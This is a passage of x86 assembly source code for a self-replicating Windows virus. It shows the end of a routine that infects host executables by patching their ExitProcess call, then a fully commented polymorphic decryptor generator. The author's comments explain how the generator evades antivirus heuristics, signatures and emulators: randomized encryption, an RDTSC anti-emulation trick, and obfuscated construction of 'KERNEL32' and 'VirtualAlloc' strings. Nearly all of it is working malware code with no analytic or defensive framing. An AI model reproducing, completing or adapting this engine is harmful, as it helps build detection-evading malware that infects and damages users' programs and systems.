sub eax, [ebp+MappingAddress]
mov ecx, [ebp+TextHeader]
sub eax, [ecx+14h] ; Get the address of the hole
add eax, [ecx+0Ch]
mov ecx, [ebp+HeaderAddress]
add eax, [ecx+34h]
mov [esi], eax ; Overwrite the call with the
mov eax, 25h ; hole address, and set "JMP"
mov [esi-1], al ; instruction.
pop ecx
jmp @@Return
@@RetInserted:
mov eax, 35h ; Set "PUSH DWORD PTR [ExitProcess]"
mov [esi-1], al ; and use the RET before to jump.
pop ecx
jmp @@Return
@@PUSHRET: ; Make "PUSH Address/RET"
mov eax, 68h
mov [esi-2], eax
mov [esi-1], edx
mov eax, 0C3h
mov [esi+3], al
@@Return: pop eax
ret
PatchExitProcess endp
;;
;;
;; End of the infector
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!MakePoly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The polymorphic engine
;; ----------------------
;;
;; This is not a polymorphic engine like I made in other viruses, since I
;; don't code by myself any machine code: I let the metamorphic engine to
;; do it, calling XpandCode and AssembleCode to build the instructions. So,
;; the decryptor is always constructed in my pseudoassembler.
;;
;; The decryptor is sometimes only a "mover": since the virus can be not
;; encrypted once in every 16 times, in fact only copies the data to the
;; reserved memory. This avoids lots of heuristic alarms.
;;
;; "Branching", as I did in TUAREG, is not made, but PRIDE is. The decryption
;; will be non-linear, with a control of buffer-overflow that allows me to
;; have a not-aligned buffer size, but still making random index accessing.
;;
;; The decryptor will allocate virtual memory at the beginning to copy the
;; virus there, calling to the imported function. If the function is not
;; imported by the host, some code will be added to import it and call it.
;; After that, We'll push the parameters needed for the virus working and we
;; will copy the virus to the allocated memory, decrypting it on the fly and
;; accessing that data with apparentlu random offsets.
;;
;; It has also the chance of making a little anti-emulator trick at the
;; beginning: once in every 4 decryptors, a RDTSC/RET like instruction will
;; be constructed on runtime, called, and a random bit from EAX checked for
;; 0 or 1, ending execution if the condition is met. This makes the virus to
;; execute randomly, and forcing a detection by signature or heuristics.
;;
MakeDecryptor proc
; We need:
; The instruction table stored at [InstructionTable]
; A buffer to assemble the decryptor at [NewAssembledCode]
; The number of jump labels at [NumberOfLabels]
; A table of labels at [LabelTable], with the instruction address at +4
; The address of the last instruction at [AddressOfLastInstruction]
mov [ebp+InstructionTable], edi ; Set the pointer
xor eax, eax
mov [ebp+NumberOfLabels], eax ; Initialize these vars.
mov [ebp+NumberOfVariables], eax
mov eax, edi
add eax, 80000h
mov [ebp+ExpansionResult], eax
mov eax, [ebp+RVA_DataHole] ; Get the virtual address
mov ecx, [ebp+HeaderAddress] ; of the data hole.
add eax, [ecx+34h]
mov [ebp+StartOfEncryptedData], eax
mov edx, [ebp+RelocHeader] ; Check if we have a .reloc
or edx, edx ; header.
jnz @@SetDataAtEndOfCryptedCode
mov ecx, [ebp+DataHeader] ; If we haven't a .reloc,
mov edx, [ebp+HeaderAddress] ; we put the data buffer
call Random ; address at the .data
and eax, 0FCh ; section with a random
add eax, [ecx+0Ch] ; displacement start offset
add eax, [edx+34h] ; to avoid fixed addresses.
jmp @@SetDecryptorDataSection ; Since all in the app has
; finished (we arrived here with an ExitProcess
; patch) we can overwrite .data as we want.
@@SetDataAtEndOfCryptedCode:
add eax, [ebp+SizeOfNewCode] ; Get the size of the new
and eax, 0FFFFFFFCh ; assembled code and set the
add eax, 4 ; decryptor's data frame at
@@SetDecryptorDataSection: ; the end of the encrypted
mov [ebp+Decryptor_DATA_SECTION], eax ; part.
mov eax, 1 ; Set this flag for the
mov [ebp+CreatingADecryptor], eax ; expander.
call Poly_MakeRandomExecution ; Create a random-execution
; snippet to fuck emulators
; a little ;)
mov eax, [ebp+VirtualAllocAddress]
or eax, eax ; Does the app import VirtualAlloc?
jnz @@VirtualAllocAlreadyImported ; If it does, jump and
; continue
;; Here we are going to create a code that imports VirtualAlloc using the
;; functions GetModuleHandleA/W and GetProcAddress.
mov eax, [ebp+GetModuleHandleMode]
or eax, eax ; Check if GetModuleHandle
jnz @@GetModuleHandleUNICODE ; is ASCII or UNICODE
@@GetModuleHandleASCII:
call Random
and eax, 20202020h ; Set 'KERN' with random
add eax, 'NREK' ; up/downcase
mov [ebp+Poly_FirstPartOfFunction], eax
call Random
and eax, 00002020h
add eax, '23LE' ; Set 'EL32' with random
mov [ebp+Poly_SecondPartOfFunction], eax ; up/downcase
mov eax, 2
call RandomBoolean_X004_7 ; WEIGHT_X006
or eax, eax
jz @@DontSetExtension0 ; Select randomly if we put
call Random ; the extension or not. If
and eax, 20202000h ; we don't, GetModuleHandle
add eax, 'LLD.' ; puts ".DLL" for us
@@DontSetExtension0:
mov [ebp+Poly_ThirdPartOfFunction], eax
xor eax, eax
mov [ebp+AdditionToBuffer], eax ; Set it at the first part
; of the data buffer
call Poly_SetFunctionName ; Make the "make name" code
jmp @@NameOfModuleInitialized ; Jump to call GetMod.H.()
@@GetModuleHandleUNICODE: ; UNICODE
call Random
and eax, 00200020h ; Set 'KE' (random upcase)
add eax, 0045004Bh ; 'EK'
mov [ebp+Poly_FirstPartOfFunction], eax
call Random
and eax, 00200020h
add eax, 004E0052h ; 'NR' ; Set 'RN'
mov [ebp+Poly_SecondPartOfFunction], eax
call Random
and eax, 00200020h
add eax, 004C0045h ; 'LE' ; Set 'EL'
mov [ebp+Poly_ThirdPartOfFunction], eax
xor eax, eax
mov [ebp+AdditionToBuffer], eax
call Poly_SetFunctionName ; Make the name
mov eax, 00320033h ; '23' ; Set '32'
mov [ebp+Poly_FirstPartOfFunction], eax
mov eax, 2
call RandomBoolean_X004_7 ; WEIGHT_X006
or eax, eax
jz @@DontSetExtension1 ; Set (or not) the extension
call Random ; ".DLL"
and eax, 00200000h
add eax, 0044002Eh ; 'D.'
@@DontSetExtension1:
mov [ebp+Poly_SecondPartOfFunction], eax
or eax, eax
jz @@DontSetExtension2
call Random
and eax, 00200020h
add eax, 004C004Ch ; 'LL'
@@DontSetExtension2:
mov [ebp+Poly_ThirdPartOfFunction], eax
mov eax, 0Ch
mov [ebp+AdditionToBuffer], eax
call Poly_SetFunctionName ; Make that part of the name
@@NameOfModuleInitialized:
call Poly_SelectThreeRegisters ; Make a "Call
mov edx, [ebp+Decryptor_DATA_SECTION] ; GetModuleHandle"
mov ecx, [ebp+BufferRegister]
call Poly_DoMOVRegValue
mov ecx, [ebp+BufferRegister]
call Poly_DoPUSHReg ; Push the module name
mov ecx, [ebp+GetModuleHandleAddress]
call Poly_DoCALLMem ; Call the function
mov eax, 0F6h ; Make an APICALL_STORE [Data+10h]
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, [ebp+Decryptor_DATA_SECTION]
add eax, 10h
mov [edi+3], eax
add edi, 10h
mov eax, 'triV' ; Now make the name of the function to
mov [ebp+Poly_FirstPartOfFunction], eax ; get the address,
mov eax, 'Alau' ; in this case
mov [ebp+Poly_SecondPartOfFunction], eax ; VirtualAlloc()
mov eax, 'coll'
mov [ebp+Poly_ThirdPartOfFunction], eax
xor eax, eax
mov [ebp+AdditionToBuffer], eax
call Poly_SetFunctionName ; Set the function name
call Poly_SelectThreeRegisters
mov edx, [ebp+Decryptor_DATA_SECTION]
mov ecx, [ebp+BufferRegister]
call Poly_DoMOVRegValue
mov ecx, [ebp+BufferRegister] ; Make the PUSH of the
call Poly_DoPUSHReg ; offset to the name
call Poly_SelectThreeRegisters ; Make the PUSH of the
mov ecx, [ebp+IndexRegister] ; module handle
mov ebx, 10h
call Poly_DoMOVRegMem
mov ecx, [ebp+IndexRegister]
call Poly_DoPUSHReg
mov ecx, [ebp+GetProcAddressAddress]
call Poly_DoCALLMem ; Call to GetProcAddress()
mov eax, 0F6h ; Insert an APICALL_STORE [Data]
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, [ebp+Decryptor_DATA_SECTION]
add eax, 10h
mov [edi+3], eax
add edi, 10h
; Set the function address. We don't
mov [ebp+VirtualAllocAddress], eax ; check if it's OK
; because we know it's
; OK.
@@VirtualAllocAlreadyImported:
mov eax, 8 ; Initialize the registers
mov [ebp+BufferRegister], eax ; used by the decryptor
mov [ebp+CounterRegister], eax
mov [ebp+IndexRegister], eax
mov edx, 4 ; Push the values for allocating
call Poly_DoPUSHValue ; memory: PAGE_READWRITE and
mov edx, 1000h ; MEM_COMMIT
call Poly_DoPUSHValue
call Random
and eax, 01F000h ; Allocate 3407872 bytes plus
mov edx, 340000h ; a random up to 128 Kb.
add edx, eax
call Poly_DoPUSHValue ; Push the value
xor edx, edx ; Push 0 (reserve where the
call Poly_DoPUSHValue ; system wants)
mov ecx, [ebp+VirtualAllocAddress]
call Poly_DoCALLMem ; Call to VirtualAlloc
mov eax, 0F6h ; APICALL_STORE [Data]
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, [ebp+Decryptor_DATA_SECTION]
mov [edi+3], eax
add edi, 10h
; Get three new registers
call Poly_SelectThreeRegisters
mov ecx, [ebp+IndexRegister]
xor ebx, ebx ; Get the returned value in a
call Poly_DoMOVRegMem ; register
mov ecx, [ebp+IndexRegister]
call Poly_MakeCheckWith0 ; Make a check with NULL to know
; if the function worked
mov eax, 74h ; JZ -> if VirtualAlloc returned
mov [edi], eax ; NULL, jump to ExitProcess
mov [ebp+Poly_Jump_ErrorInVirtualAlloc], edi ; Save the
add edi, 10h ; offset for later completion
mov ecx, [ebp+IndexRegister]
mov edx, [ebp+New_CODE_SECTION]
call Poly_DoADDRegValue ; Add the offset of CODE_SECTION
mov ecx, [ebp+IndexRegister]
mov ebx, 10h ; Save it at +10h in decryptor's
call Poly_DoMOVMemReg ; data frame
; Now we push parameters for the virus. We pass all the new section
; addresses, the flag of GetModuleHandle usage (ASCII or UNICODE) and
; the Delta Register the virus is using. We also push the addresses of
; the functions GetModuleHandle and GetProcAddress, so the virus hasn't
; to scan the KERNEL32 to get the values of the functions, breaking
; another heuristic alarm. The values of the passed functions have the
; upper bits of the sections with a random value, since in the
; entrypoint our code will anulate that bits (this is only to make the
; passing of values more random).
call Random
and eax, 0FC000000h
mov edx, [ebp+New_DISASM2_SECTION]
add edx, eax
call Poly_DoPUSHValue ; Push DISASM2_SECTION address
call Random
and eax, 0FC000000h
mov edx, [ebp+New_DATA_SECTION]
add edx, eax
call Poly_DoPUSHValue ; Push the DATA_SECTION address
call Random
and eax, 0FC000000h
mov edx, [ebp+New_BUFFERS_SECTION]
add edx, eax
call Poly_DoPUSHValue ; Push the BUFFERS_SECTION address
call Random
and eax, 0FC000000h
mov edx, [ebp+New_DISASM_SECTION]
add edx, eax
call Poly_DoPUSHValue ; Push the DISASM2_SECTION address
call Random
and eax, 0FC000000h
mov edx, [ebp+New_CODE_SECTION]
add edx, eax
call Poly_DoPUSHValue ; Push the CODE_SECTION address
mov edx, [ebp+GetProcAddressAddress]
call Poly_DoPUSHValue ; Push the address of GetProcAddress
mov edx, [ebp+GetModuleHandleAddress]
call Poly_DoPUSHValue ; Push the address of GetModuleHandle
mov edx, [ebp+TranslatedDeltaRegister]
shl edx, 1
mov eax, [ebp+GetModuleHandleMode]
add edx, eax
call Poly_DoPUSHValue ; Push the delta register *2 and
; the A/W flag in the bit 0.
call Random ; Get the first PRIDE value
mov ebx, [ebp+SizeOfNewCodeP2]
sub ebx, 4
and eax, ebx
mov [ebp+Poly_InitialValue], eax
mov [ebp+CounterValue], eax
call Random ; Get the second PRIDE value
sub ebx, 4
and eax, ebx
mov [ebp+Poly_Addition], eax
call Random ; Get the initial random index
mov ebx, [ebp+SizeOfNewCodeP2]
sub ebx, 4
and eax, ebx
mov [ebp+IndexValue], eax
call Random ; Set this register to a random
mov [ebp+BufferValue], eax ; value
call Poly_SelectThreeRegisters ; Select three registers to
; use as Index, Counter and Buffer
call Poly_SetValueToRegisters
; Set the values obtained before
call Poly_InsertLabel ; Set the label for looping
mov [ebp+Poly_LoopLabel], eax
mov ecx, [ebp+IndexRegister]
call Poly_DoPUSHReg ; Save the register
mov ecx, [ebp+IndexRegister]
mov edx, [ebp+CounterRegister]
call Poly_DoXORRegReg ; XOR Index with Counter (get
; a pseudo-random index for decrypt)
mov eax, 38h ; Check if we overpass the data size
mov [edi], eax
mov eax, [ebp+IndexRegister]
mov [edi+1], eax
mov eax, [ebp+SizeOfNewCode]
and eax, 0FFFFFFFCh
add eax, 4
mov [edi+7], eax
add edi, 10h
mov eax, 73h ; If we overpass it, go to get the
mov [edi], eax ; next pseudorandom index
mov [ebp+Poly_ExcessJumpInstruction], edi
add edi, 10h ; Save this address for later
mov eax, 42h
mov [edi], eax ; Get the DWORD at that index
mov eax, [ebp+IndexRegister]
add eax, 0800h
mov [edi+1], eax
mov eax, [ebp+StartOfEncryptedData]
mov [edi+3], eax
mov eax, [ebp+BufferRegister]
mov [edi+7], eax
add edi, 10h
mov eax, 3 ; WEIGHT_X007
call RandomBoolean_X004_7 ; Select if we encrypt or not
; genetically.
; If we don't encrypt, we only
or eax, eax ; copy directly the DWORD to
jz @@NoEncryption ; Memory
call Random ; Get a random Key
@@NoEncryption:
mov [ebp+EncryptionKey], eax
mov ecx, eax ; Set the decryption key in ECX
or ecx, ecx ; 0? (i.e. don't encrypt data)
jz @@DontMakeDecryption
;@@OtherMethod:
; WEIGHT_X008,WEIGHT_X009
xor eax, eax
call RandomBoolean_X008_11 ; Select an encryption method:
or eax, eax ; ADD, XOR or SUB. We select
jz @@MethodXOR_prev ; them with the genetic weights.
mov eax, 1
call RandomBoolean_X008_11
jmp @@SetMethod
@@MethodXOR_prev:
mov eax, 2
@@SetMethod:
mov [ebp+TypeOfEncryption], eax ; Set the type
mov ecx, [ebp+EncryptionKey] ; Get the encryption key
or eax, eax
jz @@MethodADD ; ADD?
cmp eax, 1
jz @@MethodSUB ; SUB?
@@MethodXOR:
mov eax, 30h ; Construct XOR
jmp @@MakeDecryption
@@MethodADD:
neg ecx ; Negate the key for ADD
@@MethodSUB:
xor eax, eax ; Construct ADD with the key
@@MakeDecryption: ; negated if we make ADD or not
; if we make SUB
mov [edi], eax
mov eax, [ebp+BufferRegister]
mov [edi+1], eax ; Complete the decryption instrc.
mov [edi+7], ecx
add edi, 10h
@@DontMakeDecryption:
mov eax, 02h ; Add the address of the allocated
mov [edi], eax ; memory (with CODE_SECTION added
mov eax, 0808h ; too).
mov [edi+1], eax
mov eax, [ebp+Decryptor_DATA_SECTION]
add eax, 10h
mov [edi+3], eax
mov eax, [ebp+IndexRegister] ; Complete the instruction
mov [edi+7], eax
add edi, 10h
mov eax, 43h ; Make a MOV of the value to the
mov [edi], eax ; place on the allocated memory
mov eax, [ebp+IndexRegister] ; where it has to be
add eax, 0800h
mov [edi+1], eax
; mov eax, [ebp+New_CODE_SECTION]
xor eax, eax
mov [edi+3], eax
mov eax, [ebp+BufferRegister]
mov [edi+7], eax
add edi, 10h
call Poly_InsertLabel ; Set the label where we jump
mov ebx, [ebp+Poly_ExcessJumpInstruction] ; when the
mov [ebx+1], eax ; index exceeds the data size
; and complete the JAE from
; before that must jump here.
mov ecx, [ebp+IndexRegister]
call Poly_DoPOPReg ; Make POP of the original index
call RandomBoolean ; Let's make a random shuffle of the
or eax, eax ; functions that modify the index,
jz @@AddIndexFirst ; mask the index, increase the
@@AddCounterFirst: ; counter and mask the counter. The
call Poly_ModifyCounter ; order for modify/mask must not
@@C_SelectAnotherSequence: ; vary, but we can interleave that
call Random ; functions with the others, so
and eax, 3 ; that's what we do here.
or eax, eax ; We first select to do IncCounter
jz @@C_SelectAnotherSequence ; or AddIndex, and then we
; select randomly the position
push eax ; of MaskCounter or MaskIndex
cmp eax, 1 ; while we are coding the
jnz @@AddCounterFirst_Next00 ; other two functions.
call Poly_MaskCounter
@@AddCounterFirst_Next00:
call Poly_ModifyIndex
pop eax
push eax
cmp eax, 2
jnz @@AddCounterFirst_Next01
call Poly_MaskCounter
@@AddCounterFirst_Next01:
call Poly_MaskIndex
pop eax
cmp eax, 3
jnz @@AddCounterFirst_Next02
call Poly_MaskCounter
@@AddCounterFirst_Next02:
jmp @@ModificationMade
@@AddIndexFirst: ; This makes AddIndex first, and
call Poly_ModifyIndex ; then inserts in a random position
@@I_SelectAnotherSequence: ; the MaskIndex function while
call Random ; coding the ModifyCounter and the
and eax, 3 ; MaskCounter
or eax, eax
jz @@I_SelectAnotherSequence
push eax
cmp eax, 1
jnz @@AddIndexFirst_Next00
call Poly_MaskIndex
@@AddIndexFirst_Next00:
call Poly_ModifyCounter
pop eax
push eax
cmp eax, 2
jnz @@AddIndexFirst_Next01
call Poly_MaskIndex
@@AddIndexFirst_Next01:
call Poly_MaskCounter
pop eax
cmp eax, 3
jnz @@AddIndexFirst_Next02
call Poly_MaskIndex
@@AddIndexFirst_Next02:
;; We arrive here with all modifications made and the current DWORD copied
;; and decrypted (or maybe not decrypted and left as is).
@@ModificationMade:
mov eax, 38h ; Make a comparision of the counter
mov [edi], eax ; with the first value that it had.
mov eax, [ebp+CounterRegister] ; If it's the same, we
mov [edi+1], eax ; have finished the
mov eax, [ebp+Poly_InitialValue] ; decryption.
mov [edi+7], eax
add edi, 10h
mov eax, 75h ; Make the JNZ to the loop label
mov [edi], eax
mov eax, [ebp+Poly_LoopLabel]
mov [edi+1], eax
add edi, 10h
;;;;;;; ; Now get the address where the virus
mov eax, 8 ; is copied/decrypted and CALL there
mov [ebp+CounterRegister], eax
mov [ebp+BufferRegister], eax
mov ecx, [ebp+DeltaRegister]
mov [ebp+IndexRegister], ecx
xor ebx, ebx
call Poly_DoMOVRegMem ; Get the DeltaRegister value
mov ecx, [ebp+Decryptor_DATA_SECTION]
add ecx, 10h
call Poly_DoCALLMem ; Call the virus
call Poly_InsertLabel ; Insert this label and complete
; the jump here (when there was an
; error allocating virtual memory)
mov edx, [ebp+Poly_Jump_ErrorInVirtualAlloc]
mov [edx+1], eax
mov edx, [ebp+Poly_JumpRandomExecution] ; If there is a
or edx, edx ; random-execution routine, fix
jz @@DontSetJump ; that jump also.
mov [edx+1], eax
@@DontSetJump:
call Poly_SelectThreeRegisters
xor edx, edx
call Poly_DoPUSHValue ; Push a value of 0 (no error :)
mov ecx, [ebp+ExitProcessAddress]
call Poly_DoCALLMem ; Call to ExitProcess
mov ebx, [ebp+VarMarksTable] ; Clear the marks of the
mov ecx, 1000h ; variables used in this decryptor
xor eax, eax ; for the next decryptors that could
@@LoopClearMarks: ; be made after this one.
mov [ebx], eax
add ebx, 4
sub ecx, 4
or ecx, ecx
jnz @@LoopClearMarks
mov [ebp+AddressOfLastInstruction], edi ; Set the address
mov eax, [ebp+OtherBuffers] ; of the last instruction
mov [ebp+JumpsTable], eax ; and some buffers that
add eax, 8000h ; we need for the engine
mov [ebp+FramesTable], eax ; functions.
mov eax, [ebp+NewAssembledCode]
push eax
mov eax, [ebp+TranslatedDeltaRegister]
push eax
call XpandCode ; Expand the code of the decryptor
mov eax, [ebp+InstructionTable] ; Now arrange the addresses
mov [ebp+NewAssembledCode], eax ; and values needed for
mov eax, [ebp+ExpansionResult] ; the Assembler
mov [ebp+InstructionTable], eax
mov eax, [ebp+SizeOfNewCode] ; Save these values that
push eax ; we must keep
mov eax, [ebp+RoundedSizeOfNewCode]
push eax
mov eax, [ebp+SizeOfNewCodeP2]
push eax
call AssembleCode ; Assemble the decryptor
mov eax, [ebp+SizeOfNewCode] ; Set the new addresses
mov [ebp+SizeOfDecryptor], eax ; and sizes
mov eax, [ebp+NewAssembledCode]
mov [ebp+AssembledDecryptor], eax
pop eax ; Restore some values
mov [ebp+SizeOfNewCodeP2], eax
pop eax
mov [ebp+RoundedSizeOfNewCode], eax
pop eax
mov [ebp+SizeOfNewCode], eax
pop eax
mov [ebp+TranslatedDeltaRegister], eax
pop eax
mov [ebp+NewAssembledCode], eax
ret ; Return with a new brand decryptor.
MakeDecryptor endp
;; Function to insert a label in the label table.
Poly_InsertLabel proc
mov eax, [ebp+LabelTable] ; Get the label table
mov ecx, [ebp+NumberOfLabels] ; Get the number of labels
or ecx, ecx
jz @@InsertLabel ; If 0, insert at the beginning
@@LoopFindLabel:
cmp [eax], edi ; If not, check if that label is
jz @@LabelInserted ; already inserted
add eax, 8
sub ecx, 1 ; If it is, return the label addr.
or ecx, ecx ; If not, we insert the new label
jnz @@LoopFindLabel ; at the end of the table
@@InsertLabel:
mov [eax], edi ; Set the new label
mov [eax+4], edi
mov ecx, [ebp+NumberOfLabels] ; Increase the number of
add ecx, 1 ; labels.
mov [ebp+NumberOfLabels], ecx
@@LabelInserted:
ret ; Return.
Poly_InsertLabel endp
;; Function to set the function name passed in the values of Index, Counter
;; and Buffer. An instruction will be created for each one (in a random order)
;; and after that another three instructions will be created for putting the
;; values of the registers into the buffer that GetModuleHandle or
;; GetProcAddres will use to get the data needed.
Poly_SetFunctionName proc
call Poly_SelectThreeRegisters ; Select new registers
mov edx, [ebp+Poly_FirstPartOfFunction]
mov [ebp+IndexValue], edx ; Set the values
mov edx, [ebp+Poly_SecondPartOfFunction]
mov [ebp+BufferValue], edx
mov edx, [ebp+Poly_ThirdPartOfFunction]
mov [ebp+CounterValue], edx
call Poly_SetValueToRegisters ; Make MOV instructions
call Poly_SetPART_ONEtoMemory_GetStartAddress
mov ebx, eax
call Poly_SetPART_TWOtoMemory_GetStartAddress
mov ecx, eax
call Poly_SetPART_THREEtoMemory_GetStartAddress
mov edx, eax
call Poly_RandomCall ; Make instructions to set the
; current value of the registers
; to the specified buffer.
call Poly_SelectThreeRegisters ; Get three new registers
mov ecx, [ebp+IndexRegister]
xor edx, edx
call Poly_DoMOVRegValue ; Set a 0 at the end of
; the data set before (with
; the new created MOVs)
mov ebx, [ebp+AdditionToBuffer]
add ebx, 0Ch
mov ecx, [ebp+IndexRegister]
call Poly_DoMOVMemReg ; ASCIIZ (or UNICODEZ :)
ret
Poly_SetFunctionName endp
;; This function selects three new registers for Index, Counter and Buffer.
Poly_SelectThreeRegisters proc
mov eax, 8
mov [ebp+IndexRegister], eax ; Initialize them to no_reg
mov [ebp+BufferRegister], eax
mov [ebp+CounterRegister], eax
call Poly_GetAGarbageRegister ; Get a register
mov [ebp+IndexRegister], eax ; Set it
call Poly_GetAGarbageRegister ; Get a register
mov [ebp+BufferRegister], eax ; Set it
call Poly_GetAGarbageRegister ; Get a register
mov [ebp+CounterRegister], eax ; Set it
ret
Poly_SelectThreeRegisters endp
;; Function to construct MOVs to set the values specified in every register
;; field to the corresponding Buffer, Counter and/or Index register.
Poly_SetValueToRegisters proc
call Poly_SetIndexValue_GetStartAddress ; Get the addresses
mov ebx, eax ; of the functions
call Poly_SetBufferValue_GetStartAddress ; to make a
mov ecx, eax ; random-ordered
call Poly_SetCounterValue_GetStartAddress ; call.
mov edx, eax
call Poly_RandomCall ; Make random-ordered call of
ret ; the functions at EBX,ECX and EDX
Poly_SetValueToRegisters endp
;; Function to modify the counter in the decryption loop using PRIDE)
Poly_ModifyCounter proc
call Random
and eax, 3 ; Add 4 plus a random 0-3. This will be
add eax, 4 ; eliminated by the mask.
mov edx, eax
mov ecx, [ebp+CounterRegister]
call Poly_DoADDRegValue
ret
Poly_ModifyCounter endp
;; Mask the register passed at ECX with the value in SizeOfNewCodeP2 (MOD of
;; that value)
Poly_MaskRegister proc
mov eax, 20h ; Make AND
mov [edi], eax
mov [edi+1], ecx
call Random ; Get a random upper bits until the one
mov ebx, [ebp+SizeOfNewCodeP2] ; that we must anulate
mov ecx, ebx ; (i.e. set to 0) to make
not ebx ; an effective MOD of the
and eax, ebx ; value. All these bits
sub ecx, esi ; set to random values are
or eax, ecx ; always 0 in the register
neg esi ; we are masking, so there
and eax, esi ; is no problem.
mov [edi+7], eax
add edi, 10h
ret
Poly_MaskRegister endp
;; Mask the counter. Get the register in ECX and call the MaskRegister
Poly_MaskCounter proc
mov ecx, [ebp+CounterRegister]
mov esi, 4
jmp Poly_MaskRegister
Poly_MaskCounter endp
;; Mask the index.
Poly_MaskIndex proc
mov ecx, [ebp+IndexRegister]
mov esi, 1
jmp Poly_MaskRegister
Poly_MaskIndex endp
;; To modify the index, we add the addition we calculated at the beginning
;; of the polymorphism function
Poly_ModifyIndex proc
mov edx, [ebp+Poly_Addition]
mov ecx, [ebp+IndexRegister]
call Poly_DoADDRegValue
ret
Poly_ModifyIndex endp
Poly_RandomCall proc
mov esi, 5 ; Garble the values at EBX, ECX and EDX
@@Again: call Xp_GarbleRegisters
sub esi, 1
or esi, esi
jnz @@Again
or ebx, ebx ; If 0 in any one, don't push it
jz @@DontPush1st
push ebx
@@DontPush1st:
or ecx, ecx
jz @@DontPush2nd
push ecx
@@DontPush2nd:
or edx, edx
jz @@DontPush3rd
push edx
@@DontPush3rd: ; Ret and execute the functions in that
ret ; registers one after another
Poly_RandomCall endp
; To do a random-ordered calling of several functions we must know the address
; of this functions, but if we have a metamorphic code we can't do it because
; we can't make a difference between a normal value and an offset value (while
; doing LEA, or other), so we can't rely on hard-coded offsets to get function
; addresses. For this case, the idea is to put a call pointing to a POP & RET
; just before the start address of the function, so the CALL automatically
; will return into the stack the starting address of the function, so calling
; to Poly_SetIndexValue_GetStartAddress() (for example) will call to the func
; Poly_RandomCall_GetAddress(), which makes a POP EAX (putting there the
; starting address of the function) and then returning to where we called
; to xxxGetStartAddress(). Easy, isn't it? No! It is easy once you know it,
; but it wasn't easy to get the idea (believe me :).
Poly_SetIndexValue_GetStartAddress:
call Poly_RandomCall_GetAddress ; Get the start address
Poly_SetIndexValue proc
mov ecx, [ebp+IndexRegister]
mov edx, [ebp+IndexValue]
call Poly_DoMOVRegValue
ret
Poly_SetIndexValue endp
Poly_SetBufferValue_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetBufferValue proc
mov ecx, [ebp+BufferRegister]
mov edx, [ebp+BufferValue]
call Poly_DoMOVRegValue
ret
Poly_SetBufferValue endp
Poly_SetCounterValue_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetCounterValue proc
mov ecx, [ebp+CounterRegister]
mov edx, [ebp+CounterValue]
call Poly_DoMOVRegValue
ret
Poly_SetCounterValue endp
Poly_RandomCall_GetAddress proc ; Function where we return, POPing the
pop eax ; return address and getting the function
ret ; start.
Poly_RandomCall_GetAddress endp
Poly_SetPART_ONEtoMemory_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetPART_ONEtoMemory proc
mov ecx, [ebp+IndexRegister]
mov ebx, [ebp+AdditionToBuffer]
call Poly_DoMOVMemReg
ret
Poly_SetPART_ONEtoMemory endp
Poly_SetPART_TWOtoMemory_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetPART_TWOtoMemory proc
mov ecx, [ebp+BufferRegister]
mov ebx, [ebp+AdditionToBuffer]
add ebx, 4
call Poly_DoMOVMemReg
ret
Poly_SetPART_TWOtoMemory endp
Poly_SetPART_THREEtoMemory_GetStartAddress:
call Poly_RandomCall_GetAddress
Poly_SetPART_THREEtoMemory proc
mov ecx, [ebp+CounterRegister]
mov ebx, [ebp+AdditionToBuffer]
add ebx, 8
call Poly_DoMOVMemReg
ret
Poly_SetPART_THREEtoMemory endp
;; Function to generate a MOV Reg,Value (with our pseudoassembler).
Poly_DoMOVRegValue proc
mov eax, 2
call RandomBoolean_X008_11 ; Get direct or indirect method
or eax, eax ; WEIGHT_X010
jz @@Direct
call Poly_GetAGarbageRegister ; If indirect, we get a
push ecx ; garbage register, move the
mov ecx, eax ; value to it and after that
call @@Direct ; we move the register to
mov eax, 41h ; the one that we want.
mov [edi], eax
mov [edi+1], ecx
pop ecx
mov [edi+7], ecx
add edi, 10h
ret
@@Direct: mov eax, 40h ; If direct, then that: direct :)
mov [edi], eax
mov [edi+1], ecx
mov [edi+7], edx
add edi, 10h
ret
Poly_DoMOVRegValue endp
;; This function makes an ADD Reg,Value in the same way that in the function
;; above: direct will add the value to the register, while indirect will
;; move the value to a garbage register and after that will add that register
;; to the one that we want to modify.
Poly_DoADDRegValue proc
mov eax, 3
call RandomBoolean_X008_11 ; Select direct or indirect
or eax, eax
jz @@Direct
mov eax, 40h ; Move the value to add to a garbage
mov [edi], eax ; register
call Poly_GetAGarbageRegister
mov [edi+1], eax
mov ebx, eax
mov [edi+7], edx
add edi, 10h
mov eax, 01h ; ADD Reg,Reg
mov [edi], eax
mov [edi+1], ebx
mov [edi+7], ecx
add edi, 10h
ret
@@Direct:
xor eax, eax ; ADD Reg,Value
mov [edi], eax
mov [edi+1], ecx
mov [edi+7], edx
add edi, 10h
ret
Poly_DoADDRegValue endp
;; Just that: MOV Mem,Reg. The memory is the DATA section of the decryptor,
;; and the offset within is in EBX.
Poly_DoMOVMemReg proc
xor eax, eax
call RandomBoolean_X012_15
or eax, eax
jz @@Direct ; Select direct or indirect
mov eax, 41h
mov [edi], eax
mov [edi+1], ecx ; Make MOV GarbageReg,Reg and substitute
call Poly_GetAGarbageRegister ; the original register by
mov ecx, eax ; the garbage one.
mov [edi+7], eax
add edi, 10h
@@Direct: mov eax, 43h ; MOV Mem,Reg pseudoopcode
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, ebx ; Get the offset and add the DATA sect.
add eax, [ebp+Decryptor_DATA_SECTION] ; of the virus.
mov [edi+3], eax
mov [edi+7], ecx
add edi, 10h
ret
Poly_DoMOVMemReg endp
;; Just like above, but inversed.
Poly_DoMOVRegMem proc
mov eax, 1
call RandomBoolean_X012_15 ; Direct or indirect
